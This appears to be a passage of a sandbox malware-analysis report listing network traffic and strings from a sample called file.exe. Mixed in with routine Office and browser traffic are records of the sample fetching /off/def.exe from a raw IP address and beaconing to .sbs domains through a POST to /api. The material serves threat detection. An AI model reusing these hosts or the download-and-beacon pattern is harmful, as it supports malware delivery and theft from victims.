Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: frogs-severz.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: frogs-severz.sbs

Source: file.exe, 00000000.00000003.2337396667.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2337396667.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/H
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_119.5.dr, chromecache_106.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
